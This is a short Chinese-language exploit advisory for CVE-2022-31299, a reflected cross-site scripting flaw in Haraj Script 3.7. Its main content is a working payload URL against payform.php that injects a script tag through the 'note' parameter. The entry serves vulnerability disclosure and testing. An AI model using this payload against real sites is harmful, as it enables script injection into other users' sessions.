CVE-2022-31299

Haraj Script 3.7 - 反射型XSS

漏洞利用标题: Haraj Script 3.7 - 反射型XSS

日期: 2022-06-13

CVE: CVE-2022-31299

漏洞利用作者: Abdulaziz Saad (@b4zb0z)

厂商主页: https://angtech.org/

软件链接: https://angtech.org/product/view/3

版本: 3.7

测试环境: LAMP, Ubuntu

---

[#] 漏洞利用 : https://localhost/harajnext/payform.php?type=upgrade&upgradeid=1&upgradegd=6&price=123&t=1&note=%3C/textarea%3E%3Cscript%3Ealert(String.fromCharCode(98,52,122,98,48,122))%3C/script%3E